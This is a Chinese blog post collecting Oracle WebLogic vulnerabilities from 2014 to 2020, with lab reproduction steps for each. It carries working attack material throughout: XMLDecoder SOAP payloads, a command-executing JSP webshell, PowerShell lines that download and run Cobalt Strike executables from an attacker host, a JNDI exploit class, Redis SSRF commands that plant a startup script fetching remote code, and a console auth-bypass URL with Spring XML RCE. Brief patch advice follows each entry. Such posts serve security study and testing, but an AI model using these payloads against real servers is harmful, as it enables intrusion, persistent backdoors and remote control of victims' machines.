weblogic中间件漏洞汇总
目录
- 一、weblogic是什么?
- 二、安装环境
- 1、下载weblogic
- 2、安装(其实就是点点点啦)
- 三、反序列化漏洞
- 1、XMLDecoder(CVE-2017-10271
- 2、XMLDecoder (CVE-2017-3506
- 3、wls-wsat远程代码执行(CVE-2019-2725
- 4、T3协议命令执行(CVE-2018-2628
- 5、 IIOP(CVE-2020-2551
- 四、SSRF
- 1、SSRF(CVE-2014-4210
- 2. SSRF联动Redis
- 3、防御
- 五、未授权访问
- 1、Web Service Test Page(CVE-2018-2894
- 2、Console HTTP协议远程代码执行(CVE-2020-14882/CVE-2020-14883
- 六、War后门文件部署
- 1、后台弱口令getshell
一、weblogic是什么?
WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
二、安装环境
各位看官下载请认准这个站:https://www.oracle.com/cn/middleware/technologies/weblogic/wls-main.html
1、下载weblogic
有以下两个可进行选择,硬件好的可以下第一个,我就选个小的就好,两个都可以复现
2、安装(其实就是点点点啦)
下载好后打开exe,我把需要选择的地方全部截出来了
启动的话,安装结束后可直接勾选服务器,或者执行Oracle\Middleware\user_projects\domains\base_domain下的startWebLogic.cmd
在中红框位置输入你安装时候的用户和口令
等一小会,访问http://192.168.50.167:7001/console,你就可以看到如下页面,那就恭喜你安装完成了
三、反序列化漏洞
1、XMLDecoder(CVE-2017-10271
漏洞原理
Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
漏洞影响
10.3.6.0
12.1.3.0.0
12.2.1.1.0
漏洞验证
访问 /wls-wsat/CoordinatorPortType ,出现如下图所示的回显时,说明存在该漏洞;在wls-wsat包中,web.xml文件里的url均受影响
Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp_WL_internal\wls-wsat\54p17w\war\WEB-INF\web.xml
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
漏洞复现
burp抓包,改包(包头得加上Content-type:text/xml)
第一个字符串为文件相对路径和创建的文件名,第二个字符串为文件内容
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/1.txt</string><void method="println"><string>123123123</string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/>
</soapenv:Envelope>
发包后进行访问http://192.168.50.167:7001/bea_wls_internal/1.txt,发现写的内容已经上去了
改成一句话木马(由于<和&在xml是非法的,所以得加上<![CDATA[ ]]>)
<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %>
访问/xd1.jsp?pwd=023&i=whoami
防御
打官网补丁
2、XMLDecoder (CVE-2017-3506
漏洞原理
cve-2017-3506与10271他们的漏洞原理是一样的,只不过10271绕过了3506的补丁,CVE-2017-3506的补丁加了验证函数,验证Payload中的节点是否存在object Tag
漏洞影响
10.3.6.0
12.1.3.0
12.2.1.0
12.2.1.1
12.2.1.2
漏洞复现
写cmd命令执行
写好后访问/xd3.jsp
再看容器发现计算器弹出来了
防御
打官网补丁
3、wls-wsat远程代码执行(CVE-2019-2725
漏洞原理
此漏洞实际上是CVE-2017-10271的又一入口,CVE-2017-3506的补丁过滤了object;CVE-2017-10271的补丁过滤了new,method标签,且void后面只能跟index,array后面只能跟byte类型的class;CVE-2019-2725的补丁过滤了class,限制了array标签中的byte长度。
影响组件
bea_wls9_async_response.war
wsat.war
漏洞影响
10.3.x
12.1.3
漏洞验证
访问 /_async/AsyncResponseService(/wls-wsat),返回200则存在
_async(Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp_WL_internal\bea_wls9_async_response\8tpkys\war\WEB-INF\web.xml)
/_async/AsyncResponseServiceHttps
/_async/AsyncResponseServiceJms
/_async/AsyncResponseService
/_async/AsyncResponseServiceSoap12Jms
/_async/AsyncResponseServiceSoap12
/_async/AsyncResponseServiceSoap12Https
wls-wsat(Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp_WL_internal\wls-wsat\54p17w\war\WEB-INF\web.xml)
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
漏洞复现
win上线cs
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService" ><soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>powershell</string></void><void index="1"><string>-Command</string></void><void index="2"><string>(new-object System.Net.WebClient).DownloadFile('http://192.168.50.72:12345/xd.exe','xd.exe');start-process xd.exe</string></void></array><void method="start"/></void></work:WorkContext></soapenv:Header><soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>
防御
- 打官方补丁
- 升级本地jdk环境
4、T3协议命令执行(CVE-2018-2628
漏洞原理
远程攻击者可利用该漏洞在未授权的情况下发送攻击数据,通过T3协议(EJB支持远程访问,且支持多种协议。这是Web Container和EJB Container的主要区别)在Weblogic Server中执行反序列化操作,利用RMI(远程方法调用) 机制的缺陷,通过 JRMP 协议(Java Remote Messaging Protocol:java远程消息交换协议)达到执行任意反序列化 payload 的目的。
漏洞影响
10.3.6.0
12.1.3.0
12.2.1.1
12.2.1.2
漏洞验证
poc、exp:https://github.com/jas502n/CVE-2018-2628
python CVE-2018-2628-poc.py 192.168.50.167 7001(py2)
当出现红框内容说明存在
漏洞复现
我改了下目录,所以跑出来的链接可能与我不同,但是你没错
防御
过滤T3协议,选择安全->筛选器,填入,最后保存重启即可
weblogic.security.net.ConnectionFilterImpl
5、 IIOP(CVE-2020-2551
漏洞原理
2020年1月15日,Oracle官方发布2020年1月关键补丁更新公告CPU(CriticalPatch Update),其中CVE-2020-2551的漏洞,漏洞等级为高危,CVVS评分为9.8分,漏洞利用难度低。IIOP反序列化漏洞影响的协议为IIOP协议,该漏洞是由于调用远程对象的实现存在缺陷,导致序列化对象可以任意构造,在使用之前未经安全检查,攻击者可以通过 IIOP 协议远程访问 Weblogic Server 服务器上的远程接口,传入恶意数据,从而获取服务器权限并在未授权情况下远程执行任意代码.
漏洞影响
10.3.6.0
12.1.3.0
12.2.1.3
12.2.1.4
漏洞复现
反序列化工具:https://github.com/RandomRobbieBF/marshalsec-jar
exp:https://github.com/Y4er/CVE-2020-2551
需要jdk1.8的环境编译下面这个文件exp.java,生成exp.class,在这个目录下启动python简易web服务,并启动marshalsec
import java.io.IOException;
public class exp {static{try{java.lang.Runtime.getRuntime().exec("powershell -c (new-object System.Net.WebClient).DownloadFile('http://192.168.50.129/xd','1')");} catch (IOException e) {e.printStackTrace();}}public static void main(String[] args){}
}
都启动后运行exp程序
java -jar weblogic_CVE_2020_2551.jar 192.168.50.167 7001 rmi://192.168.50.129:12345/exp
防御
打官方补丁
四、SSRF
1、SSRF(CVE-2014-4210
漏洞原理
Oracle WebLogic Web Server既可以被外部主机访问,同时也允许访问内部主机。比如有一个jsp页面SearchPublicReqistries.jsp,我们可以利用它进行攻击,未经授权通过weblogic server连接任意主机的任意TCP 端口,可以能冗长的响应来推断在此端口上是否有服务在监听此端口,进而攻击内网中redis、fastcgi等
漏洞影响
10.0.2.0
10.3.6.0
漏洞验证
访问该路径存在则说明有漏洞 /uddiexplorer/SearchPublicRegistries.jsp
漏洞复现
burp抓包,修改operator为http://127.0.0.1:7001/
An error has occurred
weblogic.uddi.client.structures.exception.XML_SoapException: The server at http://127.0.0.1:7001 returned a 404 error code (Not Found). Please ensure that your URL is correct, and the web service has deployed without error.
换一个未开放端口(7002)
An error has occurred
weblogic.uddi.client.structures.exception.XML_SoapException: Tried all: '1' addresses, but could not connect over HTTP to server: '127.0.0.1', port: '7002'
2. SSRF联动Redis
漏洞复现
payload
http://192.168.50.136:6379/x
set 1 “\r\n\r\necho invoke-expression((new-object net.webclient).downloadstring(‘http://192.168.50.129:80/a’)) | powershell -\r\n\r\n”
config set dir ‘C:\Users\Xd\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup’
config set dbfilename xd.bat
save
d
内网主机重启上线cs
3、防御
升级版本
五、未授权访问
1、Web Service Test Page(CVE-2018-2894
漏洞原理
Weblogic Web Service Test Page中有两个未授权页面,可以上传任意文件。但是有一定的限制,该页面在开发模式下存在,在生产模式下默认不开启,如果是生产模式,需要登陆后台进行勾选启动web服务测试页
漏洞影响
10.3.6
12.1.3
12.2.1.2
12.2.1.3
漏洞验证
访问
/ws_utc/config.do
/ws_utc/begin.do
漏洞复现
/ws_utc/config.do
默认 Work Home Dir目录无法执行webshell,所以更换一个可以执行的目录
C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp_WL_internal\bea_wls_internal\9j4dqk\war
点击左边安全,然后添加
查看文件时间戳
上传文件在bea_wls_internal的war包config/keystore/{时间戳}_{文件名}
/ws_utc/begin.do
该页面默认工作目录和上面设置的默认工作目录是一样的
String dirName = “RS_Upload_” + df.format(new Date());
/upload/RS_Upload_(当前时间到毫秒)/import_file_name_{文件名}
bea_wls_internal/upload/RS_Upload_2021-11-24_14-30-12_307/import_file_name_1.jsp
防御
- 启动生产模式后Config.do页面登录授权后才可访问
- 升级到最新版本
2、Console HTTP协议远程代码执行(CVE-2020-14882/CVE-2020-14883
漏洞原理
CVE-2020-14883:允许未授权的用户通过目录穿越结合双重URL编码的方式来绕过管理控制台的权限验证访问后台。
CVE-2020-14882:允许后台任意用户通过HTTP协议执行任意命令。
漏洞影响
10.3.6.0
12.1.3.0
12.2.1.3
12.2.1.4
14.1.1.0
漏洞复现
CVE-2020-14883: 权限绕过漏洞的poc:
/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29
CVE-2020-14882用到的恶意类
com.tangosol.coherence.mvel2.sh.ShellSession(Weblogic 12.2.1以上版本才能利用
com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(通杀
FileSystemXmlApplicationContext类原理:该类会远程加载目标服务器上的XML文件并进行解析,其中可以指定解析的Bean为ProcessBuilder类及其start()函数、构造函数参数为恶意命令,进而实现RCE。
利用py启动一个简易的web服务
让其访问该web服务中不存在的文件
发现服务器对我web服务发起请求
于是制作cs马
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg><list><value>powershell</value><value>-command</value><value>(new-object System.Net.WebClient).DownloadFile('http://192.168.50.129:12345/xd.exe','xd.exe');start-process xd.exe</value></list></constructor-arg></bean>
</beans>
在pyload目录下启动一个端口的py web服务,并把cs的exe文件放在该目录下,等待目标请求
六、War后门文件部署
1、后台弱口令getshell
漏洞原理
后台存在弱口令或默认用户名/口令
漏洞复现
点击部署->安装
防御
修改强口令
大家可以关注菜鸡的公众号,有什么好想法也可以让我学习一下,有什么问题可以一块解决,由于二维码违规,下面是base64编码的文字
5b6u5L+h5YWs5LyX5Y+34oCc5a6J5YWo5re35a2Q4oCd77yM5Y+v5Lul55So5b6u5L+h5pCc5LiA5pCc77yM5q2j5Zyo5a6M5ZaE5LitLi4uLi4u
weblogic中间件漏洞汇总相关推荐
- weblogic中间件漏洞总结
一.weblogic简介 WebLogic是美国Oracle公司出品的一个application server确切的说是一个基于JAVAEE架构的中间件,BEA WebLogic是用于开发.集成.部署 ...
- Weblogic 常见漏洞汇总
WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发.集成.部署和管理大型分布式Web应用.网络 ...
- WebLogic历史漏洞汇总与复现
前言:WebLogic是美国Oracle公司出品的一个applicationserver,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发.集成.部署和管理大型分布式Web应用. ...
- JBoss中间件漏洞汇总
目录 一.JBoss是什么? 二.安装环境 1. Jdk 2. 下载JBoos4.6,并进行配置 三. 反序列漏洞 1. HttpInvoker 组件(CVE-2017-12149) 2. JMXIn ...
- weblogic中间件WLS(bea_wls_internal)组件敏感信息泄露漏洞整改
近期负责的系统weblogic中间件bea_wls_internal被查出存在wls组件敏感信息泄露漏洞,访问漏洞地址如下: 针对上述漏洞,做过如下测试,整改未生效. 删除bea_wls_intern ...
- 常用的30+种未授权访问漏洞汇总
未授权访问漏洞汇总预览 1 .FTP 未授权访问(21) 2 .LDAP 未授权访问(389) 3 .Rsync 未授权访问(873) 4 .ZooKeeper 未授权访问(2181) 5 .Dock ...
- weblogic系列漏洞整理————8、WebLogic 两处任意文件上传漏洞动态分析(CVE-2018-2894)
0x01 前言 CNCERT前几天发公告称发现Oracle公司出品的基于JavaEE结构的中间件WebLogic产品存在一个远程上传漏洞,并得到了厂商的确认,危害程度评分高达9.8分.鉴于厂商已进行了 ...
- IIS Nginx Apache Tomcat 中间件漏洞
简介 中间件(英语:Middleware)是提供系统软件和应用软件之间连接的软件,以便于软件各部件之间的沟通.中间件处在操作系统和更高一级应用程序之间.他充当的功能是:将程序运行环境与操作系统隔离,从 ...
- WEB常见中间件漏洞原理
Apache Shiro反序列化 在shiro≤1.2.4版本,默认使CookieRememberMeManager,由于AES使用的key泄露,导致反序化的cookie可控,从而引发反序化攻击.(理 ...
最新文章
- [转载]C# 二进制与十进制,十进制与十六进制相互转换
- Logstash 父子关系 配置
- 医学图像-颅内出血(转载+整理)
- java获取keyvault_ARM Template 结合key vault存储机密信息 (一)
- normalize函数_Pandas 数据处理(一) —— 几个简单函数掌握!
- 小米9全面现货还降价,米粉却心情复杂?
- [c#] const 与 readonly
- 要毕业了,兄弟也签了工作。。。
- 齐次线性方程组和非齐次线性方程组
- DL之RNN:人工智能为你写诗——基于TF利用RNN算法实现【机器为你写诗】、训练测试过程全记录
- 华为交换机VLAN配置多个端口详细步骤
- 15、三维表面重建-Occupancy Networks
- 一个小型RISC-V开源处理器核介绍!
- python窗口设置背景图片_PyQt5 实现给窗口设置背景图片的方法
- Python数据类型练习题
- Ebox系列Corecon不同版本不宜安装在一起
- spark笔记spark优化
- omnet 收发信息
- 文章生成器html,【转载】伪原创文章生成器源代码
- Android 属性动画(二)